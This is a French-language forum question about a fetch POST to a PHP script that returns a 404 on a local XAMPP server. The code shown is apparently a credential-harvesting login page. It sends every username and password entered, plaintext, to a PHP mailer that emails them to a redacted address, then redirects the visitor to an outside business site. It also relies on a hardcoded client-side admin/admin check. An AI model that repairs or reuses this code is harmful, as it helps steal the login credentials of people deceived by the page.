Problème de requête fetch JavaScript POST à un fichier PHP l
Jack
-
jordane45
Messages postés38486Date d'inscriptionStatutModérateurDernière intervention
-
B
J'ai un problème avec une requête AJAX en utilisant fetch dans mon fichier JavaScript pour accéder à un script PHP sur mon serveur XAMPP local. Le chemin vers le fichier PHP semble correct et j'ai confirmé que je peux y accéder directement via le navigateur à http://localhost/word_press/sendMail.php, mais quand j'essaie de faire une requête POST à ce fichier depuis mon JavaScript avec fetch, je reçois une erreur 404. Voici le code pertinent :
JavaScript:
function checkCredentials() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
const errorMessage = document.getElementById('error-message');
if (username === 'admin' && password === 'admin') {
window.location.href = 'https://www.cholletmoto.com/';
} else {
errorMessage.textContent = 'Identifiant ou mot de passe incorrect!';
}
// Envoyer une notification par email
notifyByEmail(username, password);
}
function notifyByEmail(username, password) {
fetch('sendMail.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `username=${username}&password=${password}`,
})
.then(response => response.text())
.then(data => console.log(data))
.catch((error) => {
console.error('Error:', error);
});
}
Et mon PHP
<?php
// Pour voir si le fichier est bien accédé
echo "Fichier PHP accédé.<br>";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = $_POST["username"];
$password = $_POST["password"];
// Afficher les valeurs reçues
echo "Nom d'utilisateur reçu: $username<br>";
echo "Mot de passe reçu: $password<br>";
$to = "***@***";
$subject = "Tentative de connexion";
$message = "Quelqu'un a essayé de se connecter avec l'identifiant: $username et le mot de passe: $password.";
$headers = "From: ***@***";
// Vérifier si le mail est bien envoyé
if (mail($to, $subject, $message, $headers)) {
echo "Email envoyé avec succès.<br>";
} else {
echo "Erreur lors de l'envoi de l'email.<br>";
}
} else {
echo "Méthode non autorisée.<br>";
}
?
Tous les fichiers sont situés dans C:\xampp\htdocs\word_press. Pourquoi la requête fetch retourne-t-elle une erreur 404 ? Comment puis-je faire une requête POST avec succès à ce fichier PHP depuis mon JavaScript ?
A voir également:
Problème de requête fetch JavaScript POST à un fichier PHP l